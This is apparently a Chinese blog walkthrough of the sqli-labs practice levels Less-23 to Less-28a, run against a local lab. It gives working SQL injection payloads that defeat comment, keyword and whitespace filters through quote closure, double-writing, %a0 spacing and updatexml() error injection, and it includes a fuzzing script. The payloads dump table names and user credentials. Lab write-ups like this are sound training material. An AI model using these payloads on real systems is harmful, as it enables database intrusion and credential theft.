前言
在此之前,现补充一个知识点
在可以回显信息,但不报错的情况下判断小括号有几种方法:
2'&&'1'='1
- 若查询语句为
where id='$id'
,查询时是where id='2'&&'1'='1'
,结果是where id='2'
,回显会是id=2
。- 若查询语句为
where id=('$id')
,查询时是where id=('2'&&'1'='1')
,MySQL 将'2'
作为了 Bool 值,结果是where id=('1')
,回显会是id=1
。
1')||'1'=('1
若查询语句有小括号正确回显,若无小括号错误回显(无回显)。由于我以前都是用方法2的,而且基本都有报错,就没怎么注意了…
Less-23
输入?id=1'
,报错了for the right syntax to use near ''1'' LIMIT 0,1' at line 1
输入?id=1' or 1=1
,for the right syntax to use near '' LIMIT 0,1' at line 1
注释失败…试试#
即%23
,也错了…
查看源码
//filter the comments out so as to comments should not work
$reg = "/#/";
$reg1 = "/--/";
$replace = "";
$id = preg_replace($reg, $replace, $id);
$id = preg_replace($reg1, $replace, $id);
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
把这两个都转义了,可以的…
尝试用'1
闭合
构造成
?id=1' or '1
插进去之后就是
$sql="SELECT * FROM users WHERE id='1' or '1' LIMIT 0,1";
现在就可以尝试报错注入了
?id=1' and (select count(*) from information_schema.tables group by concat((select database()),floor(rand(0)*2))) '1
成功爆出数据库,其他步骤差不多了,这题主要是闭合方法和我们前面的不一样
Less-24
审计代码,发现pass_change.php
这里可以进行二次注入
UPDATE users SET PASSWORD='$pass' WHERE username='$username' and password='$curr_pass'
具体方法参考我的这篇博客
Less-25
常规输入?id=1'
,报错了,单引号闭合,直接在后面加上注释符?id=1' --+
,没报错
进行下一步?id=1' order by 1--+
,这个居然报错了…看一下下面的图,看来是限制了or
和and
我们尝试用双写进行绕过?id=1' oorrder by 1--+
,嘿嘿,成功了
有部分过滤字符机制就是找到了直接变为空,然后不进行第二次过滤那种就可以直接双写绕过
假如这里是删掉
or
,我们oorrder
被删了之后就是正常的order
了若是非一次性的,就要考虑一些变形:
- 大小写变形——
or
=Or
=oR
=OR
- 利用运算符——
or
=||
、and
=&&
- URL编码——
#
=%23
,Hex编码——~
=0x7e
- 添加注释——
/*or*/
?id=1' oorrder by 4--+
报错,不存在,可知只有三个字段,接下来就是常规操作了,但是一定要注意哪些有or和and
爆库:?id=-1' union select 1,2,(select database())--+
爆表:?id=-1' union select 1,2,(select group_concat(table_name) from infoorrmation_schema.tables where table_schema=database())--+
爆字段:?id=-1' union select 1,2,(select group_concat(column_name) from infoorrmation_schema.columns where table_schema='security' anandd table_name='users')--+
爆数据:?id=-1' union select 1,2,(select group_concat(concat(username,0x3a,passwoorrd)) from security.users )--+
结果尝试,这边可以回显超过一行数据,于是可以用
group_concat
连起来一起显示
Less-26
这题过滤了好多…
function blacklist($id)
{
$id= preg_replace('/or/i',"", $id); //strip out OR (non case sensitive)
$id= preg_replace('/and/i',"", $id); //Strip out AND (non case sensitive)
$id= preg_replace('/[\/\*]/',"", $id); //strip out /*
$id= preg_replace('/[--]/',"", $id); //Strip out --
$id= preg_replace('/[#]/',"", $id); //Strip out #
$id= preg_replace('/[\s]/',"", $id); //Strip out spaces
$id= preg_replace('/[\/\\\\]/',"", $id); //Strip out slashes
return $id;
}
过滤了or
,and
(大小写都过滤了),/
,*
,--
,#
,\s
(空格),\
%A0 表示一个NBSP(U + 00A0)。 NBSP显示为替换字符(U + FFFD),因为字符的编码与页面的编码不匹配,所以其字节序列对页面无效
这里用/s试图去除所有空格,但是去除不了%A0
有三种注入方式,两个明注和一个盲注。
- 明注一:因正确回显非固定字符串,可利用特殊 URL 编码代替空格,仍使用
union
加空格连接select
联合注入。 - 明注二:因错误回显是 MySQL 错误信息,可利用报错注入即 Less 17 中提到的几种方法,首选是
updatexml()注入
与extractvalue()注入
,因其他方法仍不能避开空格的使用。 - 盲注:基于 Bool 盲注,构造注入语句避开空格。
基于正确注入
%09
TAB 键(水平)%0a
新建一行%0b
TAB 键(垂直)%0c
新的一页%0d
return 功能%a0
空格
用脚本判断哪些 URL 编码能够代替空格
import requests
def changeToHex(num):
tmp = hex(i).replace("0x", "")
if len(tmp)<2:
tmp = '0' + tmp
return "%" + tmp
req = requests.session()
for i in xrange(0,256):
i = changeToHex(i)
url = "http://localhost/sqli-labs/Less-26/?id=1'" + i + "%26%26" + i + "'1'='1"
ret = req.get(url)
if 'Dumb' in ret.content:
print "good,this can use:" + i
除了%a0
,基本都是过滤了的字符:如%20(空格)
、%23(#)
、%2a(*)
、%2d(-)
、%2f(/)
、%5c(\)
,%09
–%0d
都是制表符、换行符、换页符。
接下来构造payload:
?id=0'%a0union%a0select%a01,database(),2%a0||'1'='1
?id=0'%a0union%a0select%a02,(select%a0group_concat(table_name)%a0from%a0infoorrmation_schema.tables%a0where%a0table_schema='security'),4%a0||'1'='1
?id=0'%a0union%a0select%a02,(select%a0group_concat(column_name)%a0from%a0infoorrmation_schema.columns%a0where%a0table_schema='security'%a0&&%a0table_name='users'),4%a0||'1'='1
?id=0'%a0union%a0select%a02,(select%a0group_concat(concat_ws('-',id,username,passwoorrd))%a0from%a0users),4%a0||'1'='1
由于这里的
-
被过滤了,我们使用-1
的时候会变成1,不能显示我们想要的,所以可以使用0或者空着来代替-1
基于错误注入
由于我经常使用的那个报错语法太多空格了,不能用,我们用updatexml()
函数
?id=0'||updatexml(1,concat(0x7e,(database()),0x7e),1)||'1'='1
?id=0'||updatexml(1,concat(0x7e,(select(group_concat(table_name))from (infoorrmation_schema.tables)where(table_schema=database())),0x7e),1)||'1'='1
?id=0'||updatexml(1,concat(0x7e,(select(group_concat(column_name))from (infoorrmation_schema.columns)where(table_schema)='security'%26%26table_name='users'),0x7e),1)||'1'='1
这里注意information里也有or,得双写绕过,而浏览器会过滤
&
所以&&
得用%26%26
绕过由于不能使用空格,不能用limit
基于Bool盲注
自行测试
参考文章:Hyafinthus
Less-26a
输入1'
,发现返回FALSE,输入1
或者1"
,返回TRUE
但是没有报错信息回显,可使用Less-26的正常注入方法
Less-27
查看源码吧…
function blacklist($id)
{
$id= preg_replace('/[\/\*]/',"", $id); //strip out /*
$id= preg_replace('/[--]/',"", $id); //Strip out --.
$id= preg_replace('/[#]/',"", $id); //Strip out #.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
$id= preg_replace('/select/m',"", $id); //Strip out spaces.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
$id= preg_replace('/union/s',"", $id); //Strip out union
$id= preg_replace('/select/s',"", $id); //Strip out select
$id= preg_replace('/UNION/s',"", $id); //Strip out UNION
$id= preg_replace('/SELECT/s',"", $id); //Strip out SELECT
$id= preg_replace('/Union/s',"", $id); //Strip out Union
$id= preg_replace('/Select/s',"", $id); //Strip out select
return $id;
}
感觉和Less-26差不多?他说union和select没了,但是我们可以通过大小写绕过
没啥好说的,可正确注入
?id=0'%a0uNion%a0sElect%a01,database(),2%a0||'1'='1
也可报错注入,报错注入
?id=0'||updatexml(1,concat(0x7e,(database()),0x7e),1)||'1'='1
Less-27a
输入?id=1'
,回显信息,?id=1"
,无回显,双引号闭合,其他和Less-27一样样的
Less-28
输入?id=1'
,不回显信息,输入?id=2'%26%26'1'='1
,回显1的信息…可知是')
闭合
function blacklist($id)
{
$id= preg_replace('/[\/\*]/',"", $id); //strip out /*
$id= preg_replace('/[--]/',"", $id); //Strip out --.
$id= preg_replace('/[#]/',"", $id); //Strip out #.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
//$id= preg_replace('/select/m',"", $id); //Strip out spaces.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
$id= preg_replace('/union\s+select/i',"", $id); //Strip out UNION & SELECT.
return $id;
}
过滤了/
,*
,--
,#
,\
,过滤了两次空格,还过滤了相连的union
和select
(含大小写),中间用了\s
,代表任意不可见原子(换行符,回车,制表符,空格等),但是前面已经提到%a0
是不会被过滤的,可以通过这个绕过
由于没有报错信息回显,不能报错注入,结合Less-26可用方法一
?id=0')%a0union%a0select%a01,database(),2%a0||('1'='1
?id=0')%a0union%a0select%a02,(select%a0group_concat(table_name)%a0from%a0information_schema.tables%a0where%a0table_schema='security'),4||('1'='1
但是注意闭合方式,带进去之后是这样的,由于这里使用了||'1'='1
这种形式闭合,所以后面那个表达式也得用(
闭合
SELECT * FROM users WHERE id=('?id=0')%a0union%a0select%a01,database(),2%a0||('1'='1') LIMIT 0,1;
Less-28a
好像…跟Less-28没啥区别…还更简单了…
本文地址: sqli-labs Less-23 to Less-28a